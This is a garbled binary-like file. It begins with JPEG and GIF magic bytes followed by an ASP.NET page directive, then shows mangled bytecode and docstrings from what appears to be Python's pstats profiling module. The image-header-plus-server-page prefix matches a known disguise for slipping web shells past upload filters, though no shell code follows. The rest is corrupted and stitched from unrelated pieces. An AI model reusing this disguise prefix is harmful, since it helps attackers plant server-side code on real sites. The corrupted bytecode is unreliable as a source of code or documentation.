ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
F\hpr S r SSKrSSKrSSKrSSKrSSKrSSKJrJr SSK J
r
SSKJr SSK
Jr / SQr\" \5 " S S 5 5 r\" S
S9 " S S
5 5 r\" S
S9 " S S5 5 r " S S5 r " S S5 rS rS rS rS rS rS rS r\S:X a SSKr SSKr " S S\R@ 5 r!\"" \RF 5 S: a \RF S r$OSr$ \!" \$5 r%\RF SS H r&\%RO \&5 M \(" S \%RR S!9 \%RU 5 \(" S"\%RR S!9 gg! \ a Nf = f! \+ a gf = f)#z3Class for printing reports on profiled python code. N)StrEnum_simple_enum)
cmp_to_key) dataclass)Dict)StatsSortKeyFunctionProfileStatsProfilec > \ rS rSrSrSrSrSrSrSr Sr
S rS
rS r
Srg
)r $ )callsncalls)
cumulativecumtime)filenamemodulelinenamenflpcallsstdname)timetottimec US n[ R X5 nX#l USS H nX0R U' M Xl U$ Nr )str__new___value__value2member_map__all_values)clsvaluesvalueobjother_values /usr/lib/python3.13/pstats.pyr SortKey.__new__0 sF q kk#%!!":K25"";/ &
N)__name__
__module____qualname____firstlineno__CALLS
CUMULATIVEFILENAMELINENAMENFLPCALLSSTDNAMETIMEr __static_attributes__r+ r* r( r r $ s4 E(J#HDD
C
FGDr* r T)unsafe_hashc \ \ rS rSr% \\S' \\S' \\S' \\S' \\S' \\S' \\S' S rg
)r
: r r percall_tottimer percall_cumtime file_nameline_numberr+ N) r, r- r. r/ r __annotations__floatintr9 r+ r* r( r
r
: s( K
N
NNr* r
c 8 \ rS rSr% Sr\\S' \\\ 4 \S' Sr
g)r D z0Class for keeping track of an item in inventory.total_tt
func_profilesr+ N)r, r- r. r/ __doc__rB rA r r r
r9 r+ r* r( r r D s :O_,--r* r c \ rS rSrSrSS.S jrS rS rS rS r S
r
SSSSS
SS
SSSSSSS.
rS rS r
S rS rS rS rS rS rS rS rS rS rS%S! jrS" rS# rS$rg)&r J aw This class is used for creating reports from data generated by the
Profile class. It is a "friend" of that class, and imports data either
by direct access to members of Profile class, or by reading in a dictionary
that was emitted (via marshal) from the Profile class.
The big change from the previous Profiler (in terms of raw functionality)
is that an "add()" method has been provided to combine Stats from
several distinct profile runs. Both the constructor and the add()
method now take arbitrarily many file names as arguments.
All the print methods now take an argument that indicates how many lines
to print. If the arg is a floating-point number between 0 and 1.0, then
it is taken as a decimal percentage of the available lines to be printed
(e.g., .1 means print 10% of all available lines). If it is an integer,
it is taken to mean the number of lines of data that you wish to have
printed.
The sort_stats() method now processes some additional options (i.e., in
addition to the old -1, 0, 1, or 2 that are respectively interpreted as
'stdname', 'calls', 'time', and 'cumulative'). It takes either an
arbitrary number of quoted strings or SortKey enum to select the sort
order.
For example sort_stats('time', 'name') or sort_stats(SortKey.TIME,
SortKey.NAME) sorts on the major key of 'internal function time', and on
the minor key of 'the name of the function'. Look at the two tables in
sort_stats() and get_sort_arg_defs(self) for more examples.
All methods return self, so you can string together commands like:
Stats('foo', 'goo').strip_dirs().sort_stats('calls'). print_stats(5).print_callers(5)
N)streamc U=( d [ R U l [ U5 ( d S nO
US nUSS nU R U5 U R
" U6 g r )sysstdoutrK leninitadd)selfrK argsargs r( __init__Stats.__init__l sJ *
4yyCq'C8D #$r* c p S U l / U l S U l SU l SU l SU l SU l [ 5 U l 0 U l 0 U l
U R U5 U R 5 g ! [ a9 [ SU R ( a U R S OS- U R S9 e f = f)Nr zInvalid timing data %s file)all_calleesfilesfcn_listrF total_calls
prim_callsmax_name_lenset top_levelstats
sort_arg_dict
load_statsget_top_level_stats ExceptionprintrK )rR rT s r( rP
Stats.initv s
$$& *%)ZZ4::b>R9?C{{
L s
!A2 2AB5c . Uc 0 U l g [ U[ 5 ( av [ US5 n[ R
" U5 U l S S S 5 [ R " U5 n[ R " UR 5 S- U- nU/U l O9[ US5 ( a( UR 5 UR U l 0 Ul U R ( d [ SU R < SU< 35 eg ! , ( d f N= f! N= f)Nrbz create_statszCannot create or construct a z
object from )rd
isinstancer openmarshalloadosstatr ctimest_mtimer] hasattrrm TypeError __class__)rR rT f
file_statss r( rf Stats.load_stats s ;DJ
S
!
!c4A$\\!_
!
WWS\
jj!4!45>D DJ
S.
)
)DJCIzz#~~s4 5
5 !
s C?